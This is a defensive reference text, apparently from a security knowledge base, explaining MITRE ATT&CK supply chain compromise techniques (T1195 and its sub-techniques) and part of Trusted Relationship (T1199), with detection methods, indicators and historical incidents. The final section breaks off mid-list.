* Tactics: [TA0001](/mitre/mitre/ta0001)
* Sub-Technique: [T1195.001](/mitre/mitre/ta0001/t1195/t1195.001), [T1195.003](/mitre/mitre/ta0001/t1195/t1195.003), [T1195.002](/mitre/mitre/ta0001/t1195/t1195.002)

## Introduction

Supply Chain Compromise (T1195) is a critical adversarial technique categorized under the MITRE ATT\&CK framework. This technique involves attackers infiltrating organizations indirectly through suppliers, vendors, or third-party services. Attackers exploit the implicit trust relationship between organizations and their suppliers to gain unauthorized access, introduce malicious components, or compromise software/hardware products during their development, manufacturing, or distribution stages. Such compromises allow attackers to bypass traditional security measures, making them challenging to detect and mitigate.

## Deep Dive Into Technique

Supply Chain Compromise can occur at various stages within the supply chain lifecycle, including software development, hardware manufacturing, software distribution, and third-party service provision. Attackers leverage several technical methods and mechanisms to execute this technique:

* **Software Development Compromise:**
  * Injecting malicious code into legitimate software repositories, build systems, or libraries.
  * Compromising developer accounts or version control systems (e.g., GitHub, GitLab).
  * Manipulating Continuous Integration/Continuous Deployment (CI/CD) pipelines to insert malicious artifacts.
* **Hardware Supply Chain Compromise:**
  * Introducing compromised or counterfeit hardware components during manufacturing.
  * Embedding malicious firmware or microcode into hardware devices during production.
  * Tampering with hardware during shipping or storage to insert malicious implants.
* **Distribution and Update Mechanism Compromise:**
  * Hijacking legitimate software update channels to distribute malware or backdoors.
  * Compromising software distribution platforms and package managers (e.g., npm, PyPI, Maven) to deliver malicious packages.
* **Third-party Service Provider Compromise:**
  * Breaching managed service providers (MSPs) or cloud service providers to access multiple downstream customers.
  * Exploiting trust relationships between organizations and third-party vendors to pivot into target networks.

Attackers often utilize advanced persistent threat (APT) methodologies, combining stealth, persistence, and lateral movement techniques to maximize the effectiveness of the compromise.

## When this Technique is Usually Used

Attackers typically employ Supply Chain Compromise in scenarios where direct attacks against a target organization are challenging, costly, or less likely to succeed. This technique is frequently used at various attack stages and scenarios:

* **Initial Access Phase:**
  * Gaining initial footholds into otherwise secure organizations through trusted third-party software or hardware.
  * Leveraging compromised software updates to deliver malware payloads directly into protected environments.
* **Persistence and Lateral Movement:**
  * Maintaining long-term persistence through compromised hardware or software components.
  * Using trusted third-party connections and credentials to move laterally and escalate privileges within victim networks.
* **Espionage and Intelligence Gathering:**
  * Targeting software developers, hardware manufacturers, or service providers to infiltrate multiple related targets simultaneously.
  * Conducting espionage activities by embedding hidden backdoors or implants into widely adopted software/hardware.
* **Sabotage and Disruption:**
  * Introducing malicious modifications into critical infrastructure components.
  * Executing destructive payloads delivered through compromised supply chain channels to disrupt operations or cause physical damage.

## How this Technique is Usually Detected

Detecting Supply Chain Compromise requires vigilance, proactive monitoring, and specialized detection strategies. Common detection methods, tools, and indicators of compromise (IoCs) include:

* **Software Integrity and Code Auditing:**
  * Regularly auditing and verifying source code repositories and build processes.
  * Comparing software binaries against known-good hashes and signatures.
* **Behavioral Monitoring and Anomaly Detection:**
  * Using Endpoint Detection and Response (EDR) and Security Information and Event Management (SIEM) solutions to detect unusual software behavior or unauthorized network connections.
  * Monitoring software update processes and distribution channels for unexpected changes or deviations.
* **Threat Intelligence and IoC Feeds:**
  * Leveraging threat intelligence platforms to identify compromised software packages, domains, IP addresses, or malicious certificates.
  * Monitoring public advisories and security bulletins regarding compromised third-party software or hardware.
* **Network Traffic Analysis and DNS Monitoring:**
  * Analyzing outbound network traffic for connections to suspicious domains or IP addresses.
  * Monitoring DNS requests for unusual or newly registered domains associated with known threat actors.
* **Hardware Inspection and Firmware Analysis:**
  * Physically inspecting hardware components for signs of tampering, unauthorized modifications, or counterfeit components.
  * Conducting firmware analysis and reverse engineering to detect unauthorized implants or malicious code.

Indicators of compromise (IoCs) specific to Supply Chain Compromise include:

* Unexpected or undocumented software updates.
* Unauthorized changes in software binaries or hardware firmware.
* Suspicious outbound network connections from trusted software or hardware devices.
* Use of compromised digital certificates or code-signing keys.
* Unusual build artifacts or anomalies in CI/CD pipelines.

## Why it is Important to Detect This Technique

Early detection of Supply Chain Compromise is critical due to the severe and widespread impacts it can have on organizations, systems, and networks. Key reasons for prioritizing detection include:

* **Widespread Impact and Scale:**
  * Supply chain attacks can simultaneously affect multiple organizations, industries, and critical infrastructure, amplifying their overall impact.
  * Compromise of widely adopted software or hardware can rapidly propagate malware across numerous organizations globally.
* **Difficulty of Remediation:**
  * Once compromised components are deployed, remediation can be complex, costly, and time-consuming.
  * Organizations may need to replace hardware, rebuild systems, or extensively audit software codebases to ensure safety.
* **Increased Risk of Persistence and Stealth:**
  * Supply chain compromises often remain undetected for extended periods due to implicit trust in suppliers and third-party components.
  * Attackers can maintain persistent, stealthy access to sensitive systems and data, increasing the risk of data breaches, espionage, or sabotage.
* **Operational and Financial Impacts:**
  * Supply chain compromises can lead to significant operational disruptions, downtime, and financial losses.
  * Organizations may face regulatory fines, legal liabilities, reputational damage, and loss of customer trust.
* **National Security Concerns:**
  * Supply chain attacks targeting critical infrastructure or government entities pose significant risks to national security.
  * Malicious actors can disrupt essential services, steal sensitive information, or carry out espionage activities against government agencies.

## Examples

Several real-world examples illustrate the severity and complexity of Supply Chain Compromise attacks:

* **SolarWinds Orion Attack (2020):**
  * Attack Scenario: Attackers compromised SolarWinds' software build system and injected malicious code into legitimate Orion software updates.
  * Tools Used: SUNBURST backdoor, TEARDROP malware, custom implants.
  * Impacts: Approximately 18,000 organizations downloaded compromised updates, including U.S. government agencies, Fortune 500 companies, and critical infrastructure providers. Attackers gained persistent, stealthy access to sensitive networks.
* **NotPetya Attack via M.E.Doc Software (2017):**
  * Attack Scenario: Attackers compromised Ukrainian tax software M.E.Doc and distributed malicious software updates containing the NotPetya ransomware/wiper.
  * Tools Used: NotPetya malware, EternalBlue exploit, Mimikatz credential harvesting tool.
  * Impacts: Massive global disruption affecting organizations worldwide, causing billions of dollars in financial losses and operational downtime.
* **ASUS Live Update Attack (Operation ShadowHammer, 2018-2019):**
  * Attack Scenario: Attackers compromised ASUS software update servers to distribute malicious updates to targeted ASUS laptop users.
  * Tools Used: Trojanized ASUS Live Update utility, customized malware payloads.
  * Impacts: Hundreds of thousands of ASUS users downloaded compromised updates, allowing attackers to target specific high-value individuals with precision.
* **CCleaner Supply Chain Attack (2017):**
  * Attack Scenario: Attackers infiltrated Piriform's software development environment and embedded malicious code into legitimate CCleaner software updates.
  * Tools Used: Backdoored CCleaner installer, secondary-stage malware payloads.
  * Impacts: Approximately 2.27 million users downloaded compromised versions, with attackers selectively targeting technology companies for further exploitation.
* **Dependency Confusion Attacks (2021):**
  * Attack Scenario: Security researchers demonstrated the possibility of compromising software supply chains by uploading malicious packages to public repositories with names matching internal private packages.
  * Tools Used: Malicious npm, PyPI, RubyGems packages.
  * Impacts: Potential for widespread compromise across numerous organizations relying on package managers, highlighting critical vulnerabilities in software dependency management.

These examples underscore the importance of comprehensive detection, prevention, and response strategies to mitigate the severe risks posed by Supply Chain Compromise attacks.


# Compromise Software Dependencies and Development Tools

Compromise Software Dependencies and Development Tools \[T1195.001]

## Information

* Name: Compromise Software Dependencies and Development Tools
* ID: T1195.001
* Tactics: [TA0001](/mitre/mitre/ta0001)
* Technique: [T1195](/mitre/mitre/ta0001/t1195)

## Introduction

Compromise Software Dependencies and Development Tools (T1195.001) is a sub-technique within the MITRE ATT\&CK framework, categorized under Supply Chain Compromise (T1195). This attack method involves adversaries infiltrating software dependencies, libraries, or development tools frequently utilized by organizations in their software development lifecycle. Attackers exploit the inherent trust placed in third-party components, embedding malicious code or backdoors into legitimate software packages or tools, thereby gaining unauthorized access or control over target systems and networks.

## Deep Dive Into Technique

Attackers execute this sub-technique by compromising software dependencies or development tools that organizations rely upon during software development and deployment processes. The technical execution commonly involves:

* **Dependency Hijacking:** Attackers register or claim abandoned or misspelled package names on public repositories (e.g., npm, PyPI, RubyGems), tricking developers into unknowingly integrating malicious packages.
* **Dependency Confusion:** Adversaries upload malicious packages to public repositories with the same names as internal private packages, causing automated package managers to pull malicious packages instead of secure internal ones.
* **Direct Compromise of Development Tools:** Attackers compromise widely-used Integrated Development Environments (IDEs), build servers, continuous integration/continuous deployment (CI/CD) systems, or testing tools by injecting malicious code or backdoors.
* **Tampering with Legitimate Libraries:** Attackers compromise legitimate open-source software repositories by gaining unauthorized access to maintainers' accounts or exploiting vulnerabilities in hosting platforms, inserting malicious code into legitimate software libraries or dependencies.
* **Code Injection and Obfuscation:** Malicious code is often carefully obfuscated and hidden within legitimate functionality, making detection difficult during code reviews or automated security scans.
* **Credential Theft via Compromised Tools:** Maliciously altered development tools may harvest sensitive credentials, keys, and tokens used in the development environment, facilitating lateral movement or privilege escalation.

Real-world procedures typically involve careful reconnaissance and understanding of the victim's software development processes and dependency management strategies, allowing attackers to effectively target and compromise specific software components or tools.

## When this Technique is Usually Used

This sub-technique is typically employed in various attack scenarios and stages, including:

* **Initial Access Stage:** Attackers leverage compromised dependencies or tools to gain initial footholds into otherwise secure environments.
* **Persistence Stage:** Malicious dependencies or compromised development tools can persist undetected within the software supply chain, providing long-term access to targeted environments.
* **Privilege Escalation and Credential Harvesting:** Attackers exploit compromised development tools to escalate privileges by harvesting developer credentials, tokens, or SSH keys.
* **Software Distribution and Propagation:** Attackers embed malicious code into widely distributed software updates or releases, maximizing the number of victim organizations affected.
* **Espionage and Data Exfiltration:** Nation-state adversaries frequently use compromised dependencies or tools to conduct espionage, gathering sensitive intellectual property, proprietary source code, or sensitive data from targeted organizations.

## How this Technique is Usually Detected

Detection methods for compromised software dependencies and development tools include:

* **Dependency Audits and Monitoring:**
  * Regularly auditing third-party software dependencies using automated vulnerability scanners (e.g., Dependency-Check, OWASP Dependency Track).
  * Monitoring dependency repositories for unusual changes, updates, or suspicious package maintainers.
* **Integrity Verification:**
  * Implementing cryptographic hashing and digital signatures to verify software integrity before integration into the development pipeline.
* **Behavioral Analysis and Sandboxing:**
  * Employing sandbox environments or behavioral analysis tools to identify unusual behavior in software dependencies or development tools.
* **Code Review and Static Analysis:**
  * Conducting thorough manual and automated code reviews, leveraging static code analysis tools to identify suspicious or obfuscated code.
* **Anomaly Detection in CI/CD Pipelines:**
  * Monitoring CI/CD pipeline logs and build artifacts for anomalous behavior, unexpected network connections, or unauthorized modifications.
* **Endpoint Detection and Response (EDR) and SIEM Tools:**
  * Utilizing EDR and Security Information and Event Management (SIEM) solutions to detect suspicious activities, network connections, or file modifications originating from compromised tools or dependencies.

Indicators of Compromise (IoCs) associated with this technique include:

* Unexpected outbound network connections from development environments.
* Unusual or unauthorized package updates or new dependencies introduced without clear justification.
* Suspicious or unknown maintainers suddenly contributing to widely-used dependency repositories.
* Integrity verification failures due to altered cryptographic hashes or signatures.
* Detection of obfuscated or encoded payloads within software dependencies.

## Why it is Important to Detect This Technique

Early detection of compromised software dependencies and development tools is critical due to the significant potential impacts on systems and networks, including:

* **Widespread Compromise:** A single compromised dependency or tool can affect numerous organizations, exponentially increasing the attacker's reach.
* **Data Breaches and Intellectual Property Theft:** Attackers can exfiltrate sensitive data, intellectual property, or trade secrets, causing severe financial and reputational damage.
* **Loss of Trust and Reputation:** Organizations affected by supply chain compromises can suffer long-term reputational damage, loss of customer trust, and regulatory scrutiny.
* **Operational Disruption:** Malicious code embedded within development tools or dependencies can disrupt critical business operations, leading to downtime and productivity losses.
* **Difficulty of Remediation:** Once embedded within the software supply chain, malicious code can be difficult to remediate, requiring extensive audits, code reviews, and incident response efforts.

Detecting this technique early allows organizations to limit damage, remediate threats quickly, and maintain trust with customers and stakeholders.

## Examples

Real-world examples illustrating the use of compromised software dependencies and development tools include:

* **SolarWinds Orion Attack (2020):**
  * Attack Scenario: Attackers compromised the SolarWinds Orion software build system, embedding malicious code ("SUNBURST") into legitimate software updates.
  * Tools Used: Malicious backdoor embedded in Orion software updates, sophisticated obfuscation techniques, and advanced command-and-control (C2) infrastructure.
  * Impacts: Thousands of organizations compromised, including major U.S. government agencies and Fortune 500 companies; significant data exfiltration and espionage activities.
* **Event-Stream npm Package Incident (2018):**
  * Attack Scenario: Attackers gained control of the "event-stream" npm package, injecting malicious code targeting cryptocurrency wallets.
  * Tools Used: Obfuscated malicious payload within legitimate npm package updates, dependency hijacking.
  * Impacts: Theft of cryptocurrency funds from developers who unknowingly installed the malicious version of the package.
* **Codecov Bash Uploader Incident (2021):**
  * Attack Scenario: Attackers compromised Codecov's Bash Uploader script, inserting malicious code to exfiltrate sensitive environment variables (credentials, tokens) from CI/CD environments.
  * Tools Used: Maliciously modified Bash script, stealthy exfiltration of sensitive data.
  * Impacts: Numerous organizations affected, exposure of sensitive credentials, and potential unauthorized access to internal systems.
* **Dependency Confusion Attacks (2021):**
  * Attack Scenario: Security researchers demonstrated successful "dependency confusion" attacks by registering malicious packages with identical names to internal packages, tricking automated package managers into downloading malicious code.
  * Tools Used: Malicious packages uploaded to public repositories (npm, PyPI), automated dependency resolution exploitation.
  * Impacts: Proof-of-concept attacks demonstrated potential widespread compromise, prompting organizations to review and strengthen dependency management practices.


# Compromise Software Supply Chain

Compromise Software Supply Chain \[T1195.002]

## Information

* Name: Compromise Software Supply Chain
* ID: T1195.002
* Tactics: [TA0001](/mitre/mitre/ta0001)
* Technique: [T1195](/mitre/mitre/ta0001/t1195)

## Introduction

The Compromise Software Supply Chain sub-technique (T1195.002) in the MITRE ATT\&CK framework refers to adversaries manipulating or exploiting software distribution mechanisms and supply chains to deliver malicious payloads. Attackers typically compromise legitimate software or software update channels, embedding malware or backdoors that are unknowingly distributed to end-users. This sub-technique allows attackers to bypass traditional security mechanisms, as users inherently trust legitimate software sources, increasing the likelihood of successful infiltration and persistence.

## Deep Dive Into Technique

Attackers employing the Compromise Software Supply Chain sub-technique typically follow a structured approach involving multiple technical steps:

* **Initial Compromise of Software Vendor or Distributor:**
  * Attackers target software vendors or third-party distribution channels through spear phishing, exploiting vulnerabilities, or credential theft.
  * Common entry methods include exploiting web application vulnerabilities, compromised credentials, or insider threats within the vendor organization.
* **Manipulation of Software or Updates:**
  * Once access is achieved, adversaries inject malicious code into legitimate software builds or updates.
  * Malicious payloads may include remote access trojans (RATs), backdoors, ransomware, or data exfiltration tools.
  * Attackers often use obfuscation techniques and carefully integrate malicious code to evade detection.
* **Distribution and Delivery:**
  * The compromised software or updates are digitally signed and distributed via official channels, such as vendor websites, auto-update services, or third-party repositories.
  * Victims unknowingly install the compromised software, trusting the legitimate source and signed binaries.
* **Execution and Persistence:**
  * Upon installation, malicious payloads execute silently, establishing persistence mechanisms such as scheduled tasks, registry modifications, or service creation.
  * Attackers leverage legitimate software processes and services to mask malicious activities and evade endpoint detection.
* **Command and Control (C2) Communications:**
  * Malicious software establishes communication channels with attacker-controlled infrastructure for command execution, data exfiltration, and further lateral movement within victim networks.
  * C2 channels often use encrypted protocols (HTTPS, DNS tunneling, or custom protocols) to avoid detection.

## When this Technique is Usually Used

Adversaries typically utilize the Compromise Software Supply Chain sub-technique in the following attack scenarios and stages:

* **Initial Access and Infiltration:**
  * Attackers rely on compromised software and updates as initial entry vectors to gain footholds in targeted organizations.
  * Organizations that regularly update or install trusted software become unwitting victims.
* **Espionage and Cybercrime Campaigns:**
  * Nation-state threat actors often use this technique for espionage operations, targeting sensitive government, military, or corporate networks.
  * Cybercriminals leverage compromised software supply chains to distribute ransomware, banking trojans, or credential-stealing malware.
* **Targeting High-Value or Secure Environments:**
  * Highly secure environments or air-gapped networks are often targeted through compromised software supply chains, as traditional attack vectors (phishing, direct exploitation) may fail.
  * Attackers exploit the implicit trust placed by users in legitimate software vendors, bypassing stringent security controls.
* **Large-Scale Campaigns:**
  * Attackers use this technique to target a wide range of victims simultaneously, as compromised software updates reach numerous users quickly and efficiently.
  * Attackers achieve widespread infiltration without the need for individually tailored attack vectors.

## How this Technique is Usually Detected

Detection of compromised software supply chains requires a combination of proactive monitoring, behavioral analysis, and threat intelligence:

* **Integrity Verification and Hash Validation:**
  * Regularly verify software hashes and digital signatures against official vendor-provided values.
  * Utilize file integrity monitoring (FIM) tools to detect unauthorized modifications in software binaries and updates.
* **Behavioral Analysis and Anomaly Detection:**
  * Endpoint Detection and Response (EDR) solutions identify anomalous software behaviors, such as unusual network connections, unexpected file modifications, or abnormal process spawning.
  * Network monitoring tools detect suspicious outbound communications, unusual traffic patterns, or DNS anomalies indicative of C2 communications.
* **Threat Intelligence Integration:**
  * Leverage threat intelligence feeds and advisories from trusted sources (e.g., CERTs, vendor security notices) to detect known compromised software or malicious infrastructure.
  * Implement proactive vulnerability management and patching processes to mitigate exploitation risks.
* **Indicators of Compromise (IoCs):**
  * Suspicious file hashes or digital signatures not matching official vendor records.
  * Unusual network traffic patterns, including connections to unknown or suspicious domains/IP addresses.
  * Anomalous registry entries, scheduled tasks, or services created by software updates.
  * Unexpected persistence mechanisms or modifications to critical system files and processes.

## Why it is Important to Detect This Technique

Early detection of compromised software supply chains is crucial due to the significant impacts and risks associated with this sub-technique:

* **Widespread Impact and Rapid Propagation:**
  * Compromised software updates can rapidly reach numerous users, significantly amplifying the scale and impact of the attack.
  * Early detection enables rapid containment and mitigates widespread infection across multiple organizations or sectors.
* **Bypassing Traditional Security Controls:**
  * Users inherently trust legitimate software vendors and updates, making it easier for attackers to bypass traditional perimeter defenses, antivirus, and endpoint security solutions.
  * Timely detection prevents attackers from leveraging this inherent trust, reducing the likelihood of successful infiltration.
* **Severe Operational and Financial Consequences:**
  * Compromised software supply chains can lead to severe operational disruptions, data breaches, intellectual property theft, and financial losses.
  * Early identification and containment minimize downtime, financial impact, and reputational damage.
* **Long-Term Persistence and Espionage:**
  * Attackers often use compromised software supply chains to establish long-term persistence, enabling espionage or intellectual property theft over extended periods.
  * Detection and remediation disrupt adversary footholds, preventing prolonged unauthorized access and exfiltration activities.

## Examples

Real-world examples of compromised software supply chain attacks include:

* **SolarWinds Orion Attack (2020):**
  * Attackers compromised the software build infrastructure of SolarWinds, embedding malicious code ("SUNBURST") into legitimate Orion software updates.
  * Approximately 18,000 organizations downloaded the compromised updates, leading to significant espionage operations against U.S. government agencies and private sector organizations.
  * Attackers utilized sophisticated persistence mechanisms, C2 communications, and lateral movement techniques, resulting in extensive data breaches and espionage activities.
* **CCleaner Attack (2017):**
  * Attackers compromised Piriform's software distribution channel, embedding malicious payloads into the legitimate CCleaner application.
  * Over 2 million users downloaded the compromised software, allowing attackers to target specific high-value organizations for further exploitation.
  * Attackers leveraged the initial compromise to conduct targeted attacks on technology companies, highlighting the potential for widespread compromise leading to targeted operations.
* **ASUS Live Update Attack ("Operation ShadowHammer," 2018-2019):**
  * Attackers compromised ASUS's software update infrastructure, distributing malicious updates signed with legitimate ASUS digital certificates.
  * Approximately 57,000 ASUS users installed compromised updates, enabling attackers to selectively target specific MAC addresses for further exploitation.
  * Attackers employed stealthy persistence mechanisms, targeted operations, and sophisticated evasion techniques, demonstrating the precision achievable through compromised software supply chains.
* **NotPetya Attack (2017):**
  * Attackers compromised the update servers of Ukrainian accounting software "M.E.Doc," embedding destructive malware ("NotPetya") into legitimate software updates.
  * The malware rapidly spread globally, causing billions of dollars in damage, operational disruptions, and widespread data loss across numerous organizations.
  * The NotPetya attack demonstrated the devastating potential of compromised software supply chains for large-scale cyber disruption and sabotage.


# Compromise Hardware Supply Chain

Compromise Hardware Supply Chain \[T1195.003]

## Information

* Name: Compromise Hardware Supply Chain
* ID: T1195.003
* Tactics: [TA0001](/mitre/mitre/ta0001)
* Technique: [T1195](/mitre/mitre/ta0001/t1195)

## Introduction

Compromise Hardware Supply Chain (T1195.003) is a sub-technique within the MITRE ATT\&CK framework, classified under the broader technique "Supply Chain Compromise" (T1195). This sub-technique specifically involves adversaries manipulating or interfering with hardware components during their manufacturing, distribution, or maintenance phases. Attackers exploit hardware supply chains to insert malicious components or firmware, enabling persistent and stealthy access to targeted systems, networks, or infrastructure. Due to the nature of hardware compromise, detecting and mitigating these threats can be particularly challenging, making this sub-technique a critical area of concern for cybersecurity professionals.

## Deep Dive Into Technique

Compromise Hardware Supply Chain involves adversaries inserting malicious hardware components or tampering with legitimate hardware during manufacturing, assembly, distribution, or maintenance processes. Attackers typically execute this sub-technique through the following methods:

* **Insertion of Malicious Chips or Components:**
  * Attackers embed malicious integrated circuits (ICs), chips, or other hardware modules within legitimate hardware products.
  * These rogue components may contain backdoors, hidden functionality, or embedded malware capable of compromising the host system.
* **Firmware Manipulation:**
  * Adversaries alter or replace legitimate firmware with maliciously modified firmware during the manufacturing or distribution phase.
  * Malicious firmware can enable persistent remote access, data exfiltration, or sabotage operations.
* **Hardware Interdiction:**
  * Attackers intercept legitimate hardware shipments during transit to implant malicious hardware or firmware.
  * Interdiction operations typically involve nation-state or highly sophisticated threat actors with significant resources.
* **Tampering During Maintenance or Repair:**
  * Adversaries exploit opportunities during maintenance or servicing periods to implant compromised hardware or firmware.
  * This method leverages physical access to hardware, often bypassing traditional security measures.

Technical mechanisms and procedures associated with this sub-technique include:

* Embedding hardware-based rootkits or backdoors that persist even after firmware or software updates.
* Utilizing hardware implants capable of intercepting sensitive data, keystrokes, or network traffic.
* Employing hardware-based covert channels to exfiltrate data undetected by traditional network monitoring or intrusion detection systems.
* Leveraging compromised hardware to pivot laterally within networks or establish command-and-control (C2) communication channels.

## When this Technique is Usually Used

Attackers typically utilize Compromise Hardware Supply Chain (T1195.003) in scenarios where stealth, persistence, and long-term access are critical. Common attack scenarios and stages include:

* **Initial Access and Persistence:**
  * Establishing persistent footholds within critical infrastructure, government organizations, military systems, or high-value corporate environments.
  * Targeting supply chains to infiltrate secure environments otherwise difficult to penetrate through conventional cyberattack vectors.
* **Cyber Espionage Operations:**
  * Conducting long-term surveillance and data exfiltration operations against high-value targets, such as defense contractors, government agencies, critical infrastructure providers, or multinational corporations.
  * Leveraging compromised hardware to bypass traditional security measures and evade detection.
* **Sabotage and Disruption Operations:**
  * Inserting compromised hardware into critical systems to enable future sabotage or disruption operations.
  * Preparing infrastructure for potential cyber conflict scenarios, allowing attackers to rapidly disrupt or degrade critical services.
* **Supply Chain Attacks Targeting Mass Distribution:**
  * Compromising hardware supply chains to distribute malicious hardware widely, affecting numerous organizations simultaneously.
  * Exploiting trusted hardware vendors to amplify attack reach and impact.

## How this Technique is Usually Detected

Detecting hardware supply chain compromise is notoriously challenging due to the stealthy and persistent nature of these attacks. However, several detection methods, tools, and indicators of compromise (IoCs) can aid in identifying such compromises:

* **Hardware Inspection and Verification:**
  * Conducting physical inspections, X-ray imaging, microscopic examination, or advanced hardware analysis to detect unauthorized or modified components.
  * Employing hardware validation techniques, such as comparing hardware components against known-good reference models and schematics.
* **Firmware Integrity Monitoring:**
  * Implementing secure boot processes, cryptographic firmware signing, and firmware validation checks to detect unauthorized modifications.
  * Using firmware integrity scanning tools to identify anomalies or deviations from expected firmware configurations.
* **Network Traffic Analysis:**
  * Monitoring network traffic for unusual or unauthorized communication patterns indicative of hardware implants or backdoors.
  * Employing intrusion detection systems (IDS) and anomaly detection tools to identify covert channels or suspicious outbound traffic originating from compromised hardware.
* **Behavioral and Environmental Monitoring:**
  * Detecting unexpected hardware behaviors, such as unexplained system crashes, performance degradation, or unusual power consumption patterns.
  * Monitoring hardware telemetry data and sensor readings to identify anomalies indicative of hardware compromise.
* **Supply Chain Audits and Vendor Assessments:**
  * Conducting regular supply chain security audits, vendor assessments, and risk evaluations to identify potential vulnerabilities or compromise points.
  * Implementing strict supply chain security policies, including secure logistics, tamper-evident packaging, and trusted vendor certifications.

Specific IoCs for compromised hardware supply chains may include:

* Unrecognized hardware components or chips not matching official manufacturer specifications.
* Unexpected or unauthorized firmware versions or cryptographic signatures.
* Suspicious network activity originating from hardware devices, including unexplained outbound connections or encrypted traffic.
* Physical evidence of tampering, such as altered seals, packaging, or hardware markings.

## Why it is Important to Detect This Technique

Detecting hardware supply chain compromise is critical due to the severe potential impacts on systems, networks, and infrastructure. Early detection is essential for mitigating risks, limiting damage, and preventing long-term exploitation. Key reasons for the importance of detection include:

* **Persistent and Stealthy Access:**
  * Compromised hardware implants often persist undetected for extended periods, enabling long-term espionage, sabotage, or disruption operations.
* **High-Level Privileged Access:**
  * Hardware-level compromises typically grant attackers privileged and undetectable access beneath traditional software-based security measures, making detection and remediation extremely challenging.
* **Impact on Critical Infrastructure:**
  * Hardware compromises targeting critical infrastructure, defense systems, or government networks can have severe national security implications, including disruption of essential services or compromise of sensitive information.
* **Supply Chain Amplification Effect:**
  * Compromising hardware at the supply chain level can amplify attack impacts, affecting numerous organizations simultaneously and dramatically increasing the scope and severity of potential damage.
* **Difficulty of Remediation:**
  * Remediating hardware-level compromises often requires physical replacement or costly hardware recalls, underscoring the importance of early detection and prevention.

## Examples

Several notable real-world examples illustrate the impact and significance of Compromise Hardware Supply Chain (T1195.003):

* **Supermicro Supply Chain Attack (Alleged "Big Hack"):**
  * In 2018, Bloomberg reported allegations that Chinese espionage actors implanted tiny malicious chips into Supermicro motherboards during manufacturing.
  * Allegedly compromised hardware was reportedly distributed to numerous organizations, including major technology companies and U.S. government agencies.
  * Although strongly disputed by implicated companies, the incident highlighted the potential risks and impacts of hardware supply chain compromise.
* **Cisco Hardware Interdiction Incident (NSA ANT Catalog):**
  * Documents leaked by Edward Snowden revealed that the NSA conducted hardware interdiction operations, intercepting Cisco equipment shipments to implant surveillance hardware.
  * Compromised Cisco devices were subsequently delivered to targeted organizations, enabling persistent and stealthy espionage operations.
* **Hardware Implants in ATM Machines:**
  * Criminal groups have inserted malicious hardware implants into ATM machines during maintenance or installation, enabling covert data interception and financial theft.
  * Hardware implants captured sensitive card data and PIN information, resulting in significant financial losses and customer data breaches.
* **Lenovo Superfish Incident (Firmware-Level Compromise):**
  * Lenovo laptops shipped with pre-installed Superfish adware, which introduced severe security vulnerabilities.
  * Although primarily software-based, the incident raised awareness about supply chain risks, including potential firmware-level compromises and hardware-based vulnerabilities.

These examples illustrate the diverse scenarios, attack methods, and potential impacts associated with hardware supply chain compromise, emphasizing the importance of supply chain security and vigilance.


# Trusted Relationship

Trusted Relationship \[T1199]

## Information

* Name: Trusted Relationship
* ID: T1199
* Tactics: [TA0001](/mitre/mitre/ta0001)

## Introduction

Trusted Relationship (MITRE ATT\&CK ID: T1199) is a technique where adversaries exploit established, legitimate trust relationships between organizations or systems to gain unauthorized access or escalate privileges. Attackers leverage existing trust channels, such as third-party partnerships, service providers, or trusted network connections, to circumvent security measures and detection mechanisms. This method allows attackers to appear legitimate, thus complicating detection and response efforts.

## Deep Dive Into Technique

Trusted Relationship attacks exploit the implicit trust between two or more entities, typically organizations, to bypass security controls. Technical execution methods and mechanisms include:

* **Third-party Access Abuse:**
  * Attackers compromise a third-party vendor or service provider's network or credentials.
  * Leveraging legitimate credentials, attackers then access the primary organization's network through authorized channels such as VPNs, remote desktop services, or cloud infrastructure.
* **Federated Identity and Single Sign-On (SSO) Abuse:**
  * Exploiting identity federation mechanisms (such as SAML, OAuth) to gain unauthorized access.
  * Attackers compromise identity providers or manipulate federation tokens to impersonate legitimate users or services.
* **Supply Chain Compromise:**
  * Attackers infect legitimate software or hardware provided by trusted vendors.
  * Malicious payloads are delivered via trusted update channels or software distribution mechanisms, bypassing traditional security controls.
* **Trusted Network Connections:**
  * Utilizing existing trusted network tunnels, VPN connections, or inter-organization network links.
  * Attackers pivot directly from compromised trusted networks into target environments without triggering alarms.

Real-world procedures involve initial reconnaissance to identify potential trusted partners, followed by targeted phishing, credential theft, or social engineering attacks on these partners. Once initial access is gained, attackers pivot through the trusted relationship to infiltrate the primary target organization.

## When this Technique is Usually Used

Trusted Relationship exploitation can appear at multiple attack stages and scenarios, including:

* **Initial Access Stage:**
  * Attackers utilize compromised third-party credentials or infrastructure to establish initial footholds within the primary target organization.
* **Privilege Escalation and Lateral Movement Stages:**
  * Attackers leverage existing trust relationships to escalate privileges or move laterally without triggering security alerts or suspicion.
* **Persistence and Exfiltration:**
  * Attackers may maintain persistent access through trusted relationships, allowing continuous data exfiltration or long-term espionage activities.

Common attack scenarios include:

* Supply chain attacks targeting software providers.
* Compromise of Managed Service Providers (MSPs) to infiltrate multiple customer environments simultaneously.
* Exploitation of federated identity systems to impersonate legitimate users or services.

## How this Technique is Usually Detected

Detection of Trusted Relationship abuse involves multiple approaches, including:

* **Behavioral Analytics and Anomaly Detection:**
  * Monitoring for unusual access patterns, such as access from unusual locations, times, or devices.
  * Detecting abnormal spikes in data transfers or access attempts originating from trusted third-party connections.
* **Monitoring and Auditing of Third-party Connections:**
  * Regular auditing and logging of third-party remote access sessions, VPN connections, and remote desktop usage.
  * Implementation of strict monitoring policies for third-party vendors and service providers.
* **Identity and Access Management (IAM) Controls:**
  * Monitoring for abnormal usage of federated identity tokens, SAML assertions, or OAuth tokens.
  * Detecting unusual authentication events or unauthorized access attempts through trusted identity providers.
* **Endpoint Detection and Response (EDR) and Network Detection and Response (NDR):**
  * Utilizing EDR/NDR tools to detect suspicious activities originating from trusted networks or third-party endpoints.
  * Identifying indicators of compromise (IoCs) such as unusual process executions, unauthorized software deployments, or suspicious network traffic patterns.

Specific Indicators of Compromise (IoCs) include:

* Unusual or unauthorized remote access sessions from third-party vendors.
* Unexpected VPN connections from unfamiliar IP addresses or geographic locations.
* Suspicious federated identity token usage or abnormal SAML assertions.
* Anomalous network traffic or data transfers through trusted network connections.

## Why it is Important to Detect This Technique

Early detection of Trusted Relationship exploitation is crucial due to significant potential impacts:

* **Severe Data Breaches:**
  * Attackers can gain direct, privileged access to sensitive corporate data, intellectual property, or personally identifiable information (PII).
* **Operational Disruption:**
  * Compromise of critical systems, services, or infrastructure can lead to operational downtime, financial losses, and reputational damage.
* **Escalation of Privileges and Lateral Movement:**
  * Abuse of trusted relationships allows attackers to move laterally undetected, escalating privileges to gain administrative control over critical systems.
* **Supply Chain Attacks:**
